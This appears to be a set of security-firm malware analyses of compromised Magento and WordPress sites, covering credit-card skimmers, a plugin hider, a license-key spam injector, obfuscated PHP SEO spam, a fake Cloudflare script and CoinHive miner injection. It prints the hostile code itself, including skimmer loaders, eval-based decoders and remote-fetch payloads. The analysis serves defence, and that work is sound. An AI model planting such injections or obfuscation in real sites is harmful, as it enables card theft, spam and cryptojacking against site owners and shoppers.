CC Stealing code pretending to be Bing ads.

During a recent investigation we found this suspicious code pretending to be associated with Bing ads.After further review, we see that the code is actually injecting JavaScript from “js-mini[.]com”.The injected code is then used to capture credit card information on Magento sites and sending it to the same domain.

Here is some of the code that was loading from js-mini[.]com/ajax/libs/jquery-1.1.2.js:

You can see that the code is harvesting the login credentials and attempting to send the data to an external destination.

This code was found in the database of a Magento site under core_config_data.value, config_id = 40

It’s unknown how many credentials were harvested by this malware, but you can see how malware can be heavily obfuscated and made to look like legitimate code. If ignored, this code could have kept stealing personal data from people shopping online. We recommend making sure that your ecommerce site is up to date on all of its patches and look for any code loading from external sources, as this could be a sign of malware.

Images Loading Credit Card Swipers

We’ve come across an interesting approach to injecting credit card swipers into Magento web pages.

Instead of injecting a real script, attackers insert a seemingly benign, invisible image from the same site. The catch is, the tag has an "onload" event handler that loads the malicious script.

The injected HTML code looks like this:

<span style="display:none;"><img src="https://www.<redacted>.com/media/wysiwyg/infortis/ultimo/icons/info.png"  onload="var  o=document.createElement('script');o.src=atob('Ly9jb2xkanMuY29tL2Nk...redacted...2MmZpdw==');var   s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(o,  s);"></span>

It is comprised of a tag with the "display:none;" style, which makes the image invisible, and an tag that loads some legitimate image from the compromised site (which makes it look less suspicious). The onload handler creates a new script element with a base64-encoded src parameter (decoded by atob.)

In the above example, the decoded src ( coldjs[.]com/cdn/dnb36346262fiw) is a URL of a credit card stealing script.

Customization

The attackers took the time to customize this malware for every compromised site. Not only do they pick real images from the victim’s site but also use different domains for the loaded scripts.

Here are just a few of the domains used by this campaign:

    monsterengy[.]com - creation date: 2018-10-12
    cosrcmax[.]com - creation date: 2018-10-31
    jschef[.]com - creation date: 2019-01-16
    googietagmanagar[.]com - creation date: 2019-03-10
    cubejs[.]com - creation date: 2019-03-13
    coldjs[.]com - creation date: 2019-03-13

The script paths are also individualized. They contain parts of the second-level domain (SLD) names of the victims sites.

    /<SLD>
    /www.<SLD>.com
    /cdn/<part-of-SLD>36346262fiw
    /cdn/<SLD>/4879465
    /<part-of-SLD>/502osja66ds.js

Given their random nature and occasional typos, we can assume that they are generated manually.

On sites that we cleaned, the malware was injected into the header template of the core_config_data table.

WP Plugin Hider

One of our analysts recently found an interesting injection that has been found on WordPress installations. Installed by hacker, it is used to hide a malicious plugin. that was installed by the hacker. In this instance the plugin was generically named “wordpressplugin”.

function hide_plugin() {
 global $wp_list_table;
 $hide_array = array('wordpressplugin/plugin.php');
 $my_plugins = $wp_list_table->items;
 foreach ($my_plugins as $key => $val) {
if (in_array($key,$hide_array)) {
  unset($wp_list_table->items[$key]);
}
 }
}
add_action('pre_current_active_plugins', 'hide_plugin');

This code helps the malicious plugin go unnoticed by the website owner, as it will not show within the normal plugins screen of the WordPress admin interface (previously we have seen similar behavior in “fake” plugins). In order to do this, they simply add a function that goes through and unsets the specific plugin they have used in the code. This function is then run every time before the active plugins are shown in the WordPress admin interface.

It’s recommended that you periodically audit and remove inactive plugins from your wp-content/plugins/ directory and do not solely rely on the wp-admin plugin page; it can be manipulated as seen here.

This type of code can also be used legitimately. Some developers do not want all their plugins shown on the plugins page of WordPress admin interface so that they can add similar code to prevent the appearance of the plugin.

Spam Injector Disguised as a License Key

A client reported some weird spam URLs injected on their WordPress website and after an investigation, it turned out that the hacker was hiding the encoded spam injector malware in the following theme file:

./wp-content/themes/toolbox/functions.php

The hacker formatted the encoded injector to look like a theme’s license key trying to distract eyes from suspecting this code and finding the malware:

/**
 * Theme personal token soft descriptor.
 */
function theme_personal_token() {
    // Your personal token key #00118
    $token = <<<KEY
eyJsaWNlbnNlIjoiY3JlYXRlX2Z1bmN0aW9uIiwiYWNjb3VudCI6IiR4IiwidGhlbWUiOiJldmFs
KFwiPz5cIi5nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkeCkpKTsiLCJ1cGRhdGUiOiJiWkY3YzZK
SUZNV1wvaXV0UWcxYXlHdkU5eG14RUVCXC9CRnhBbGxrVzEwa2hMODdDN0llcVE3NzQ0czdzMTJk
MFwvNzdtbjd2MmRleFwvXC9pTndveFwvbmRJdzBEeTRiNzBJYUZ3eFVGRGdZTUZuYUF3a2J0YjUz
...
ZlBsemhjNHZNNXlpNFlkdk5SU0JGRFlmQU43R2lJWXdZN0dEcnMyK1wvdGRyc1ZuVHY1cDh3UFN2
eGpHVHp4blkrUFhcL1phODVtbWJcL2lJM3hhXC9mdjFISEl4ZVpHMlRkXC9MYlRUNEFQc3h2XC94
MUU2eTlIY1wvMkhjZHBUNVN3TTUzUnRSRzd1Mnd0S3Ywd3VcL2RcL0FUaGJzczg3OHlQcXJsd0Ur
STJyRkVRNkJEVzNMUVRpYmlqT0laejlNNEg4YTk1eFQ3RHl6TUw1ZHpybVwvcVQ1RFAwbUtXZUNQ
UHdFPSJ9
KEY;
    if( $token = json_decode( base64_decode( $token ), true ) ) {
        $token['license'] = $token['license']( $token['account'], $token['theme'] );
        $token['license']( $token['update'] );
    }
}
add_action( 'wp_footer', 'theme_personal_token' );

The injected code contained a few layers of encoding to further obfuscate it from detection, but we can begin by decoding the base64-encoded text within the $token variable:

{"license":"create_function","account":"$x","theme":"eval(\"?>\".gzinflate(base64_decode($x)));","update":"bZF7c6JIFMW\/iutQg1ayGvE9xmxEEB\/BFxAllkW10khL87C7IeqQ7744s7s12d0\/77mn7v2dex\/\/iNwox\/ndIw0Dy4b70IaFwxUFDgYMFnaAwkbtb53Hry+7HVUP0lx4nagtPB4IRHPoKhp5WgUfpso0WEwmpNG8zDzQjNv6UDhLZ+iY1VmtIpPVsG43kDR8d+vjiUJG7eVUqRwNJYjkPdbvjn2g...skipped...\/LbTT4APsxv\/x1E6y9Hc\/2HcdpT5SwM53RtRG7u2wtKv0wu\/d\/AThbss878yPqrlwE+I2rFEQ6BDW3LQTibijOIZz9M4H8a95xT7DyzML5dzrm\/qT5DP0mKWeCPPwE="}

As shown by the above decoded content, we can see that the hacker is still trying to disguise the malware as a type of licensing key for a theme.

This conditional if statement also checked for the user agents, showing the spam URLs to any and all other user agents/search engines except the ones shown below. It tried to hide it from some web-based link-analyzing tools as it may be cached by such tools and the client may be notified:

if(!preg_match('#ia_archiver|Baidu|MJ12|Ezooms|Solomono|roger|Linkpad|Semrush|prodvigator|Survey|Alexi|Xenu|Ahrefs|serpstat|Yandex#i', $k)

The final decoded payload with hidden links as it would appear within the HTML source:

<a href="hps://credit-10[.]com/no/komplett-bank-logg-inn/" style="position:absolute;left:-9998px;">komplett bank min side</a><a href="hxxp://emporium[.]com.ua/answear" style="position:absolute;left:-9998px;">промокод ансвер</a><a href="hxxps://evehealth[.]ru/promokody/shops/promokody-onetwotrip" style="position:absolute;left:-9998px;">onetwotrip промокод</a><a href="hxxps://promocodius[.]com/us/shops/iherb" style="position:absolute;left:-9998px;">iherb coupon</a>

The links are hard-coded inside this malware, but on different sites they may be different. The domains of the spammy sites remain mostly the same though.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Array string obfuscation

We continue to see an increase in the number of these PHP injections that use multiple obfuscation methods to evade detection, but lately one method has been increasingly utilized:

$GZN = "aT7k JdM_0VN5/Y1qQt
ym'oL*eIGS:c+ZhCbpREi)63rHBzDsXxOfKw;,.Wvn4=(lu9UjgF8AP2";
$hfl = $GZN[31].$GZN[0].$GZN[65].$GZN[65].$GZN[8].$GZN[66].$GZN[49].$GZN[26].$GZN[44].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31];
$fMk = $GZN[31].$GZN[44].$GZN[26].$GZN[0].$GZN[18].$GZN[26].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31].$GZN[18].$GZN[40].$GZN[23].$GZN[61]...

This obfuscation method uses a variable ($GZN) to store a long string of characters that look as if they could be encoded or encrypted as they are unintelligible usually. A second variable, ($hfl), is then created and assigned PHP code that is generated by using the first $GZN long string and specific numbers that correspond to the string array's indices or characters in this case. We end up with the function call_user_func after deobfuscating the $hfl variable, which you can see yourself by looking up the corresponding string value for the $GZN[ numbers (i.e 31 matches to character c - just remember the array starts at 0 so in the string the character c is actually the 32nd position). This process is repeated for the other variables as there are little to no PHP functions in plain text.

After repeating the process to deobfuscate all the other variables, we end up with the following - which looks to be where the actual action happens:

@$hfl($fMk($JLU,$GAa($Fd3($GZN[22].$GZN[33].$GZN[14].$GZN[13].$GZN[46].$GZN[29].$GZN[72].$GZN[7].$GZN[55].$GZN[28].$GZN[7].$GZN[50].$GZN[13].$GZN[65].$GZN[6].$GZN[73].$GZN[11].$GZN[3].$GZN[9].$GZN[46]

We can use the same method as before to deobfuscate the above PHP code to something more readable:

call_user_func(create_function(gzinflate(base64_decode('\''.'ZY/BS8MwGMX/ldANk0BpLx7E0dkdil4cMqsXGeFbmyahaVKar+Iw/u9uzIPi6fHj8R7vmY6wcpykEgNgoxldKO+VlXEILh6MUxEswrsJCBFCH4+gvY/g7cLQlJRL8VztXqvdG32o6yfxciKxua+2Nd1z/rnU7TUpSMBJwiAa71B+oGhOhJLBNMGRUY040mL9Q2gG6WekpFiTG875ishGe1J2xkqhJF5KHAaWnIO3ed6qHoINrc7CnFvX590hG/V41xZJ9mveRcV281jRfZZczX/tf+tT0oENMiXnD3z19Q0='.'\''))),'1','1');

The final step is to just deobfuscate the actual malicious payload of the file, which in this case is just gz compressed and encoded with base64, so either using a tool or just PHP code will allow you to deobfuscate it quickly:

if (@preg_match('#google|msn|bing|altavista|ask|yahoo|aol#i', @$_SERVER['HTTP_USER_AGENT'])){
    $hd4 = stream_context_create(array('http'=>array('timeout' => 8))); echo @file_get_contents("http://[redacted]/lnk/fb.php?d=".@$_SERVER['SERVER_NAME']."&u=".@$_SERVER['HTTP_USER_AGENT'], false, $hd4);
    }

It turns out to be another SEO spam injection targeting search engine crawler user-agents and serving them specific URLs that they wish to increase in their rankings or keywords, however in this case it happened to be hidden under layers of obfuscation to help avoid any detection.

Fake cloudflare injection

Seeing malicious campaigns using domain names that resemble big market players is not news anymore. This time I\'ll talk about the new redirects of cloudflare.pw.****

The domain, registered in 2017, has been used as a doorway to other suspicious content since then.

But this time it looks like they want to leverage the SSL adoption rush to hide the infection, since the script is loading content from https://*.contentssl.com.

The attackers are not only infecting files but it seems they are exploiting SQLinjection vulnerabilities to add the following javascript to the database too:

<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script>

The script id and the remote javascript file called can change. The file can be either statslg[30 or 50].js or statslelivros20.js. All those variations will load similar js. The only difference will be the final host, keeping the contentssl.com domain.

We also found fake Jquery scripts injected on infected sites, so, if you see any of those entries on your site, perform a full check on it.

Server-level Cryptominer Injections

During an investigation on a recent case, we came across a malware infection that came directly from the server.

Upon further inspection, we found that there were at least two servers showing the same symptom: cryptominers had been automatically injected into every web page after the</head> or </title> tag. The sites themselves had not been infected. The malware was coming from the web server itself, which modifies web pages on the fly. The servers we have identified so far are 5.196.91.117 and 104.243.40.34, with around 60 and 120 sites respectively.

This is the code being injected (line breaks added for readability):


<script src="hxxps://coinhive[.]com/lib/coinhive.min.js"></script><script>CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://176.10.104 .249:8892"]];var miner = CoinHive.Anonymous('49MvxieMYbGSbamYfv2ajQ52KqGATcGttPNhPCb4TXj3B2FimiUav7nF3hSWioTqujByt2cVietKNVwCkVRGX2qpC58N79b');</script>

It's a modification of the common CoinHive miner that uses an alternative proxy (176.10.104.249:8892) and mines directly to this Monero address 49MvxieMYbGSbamYfv2ajQ52KqGATcGttPNhPCb4TXj3B2FimiUav7nF3hSWioTqujByt2cVietKNVwCkVRGX2qpC58N79b.

Any webmasters with websites hosted on either of these servers are recommended to check with their hosting provider to resolve the issue.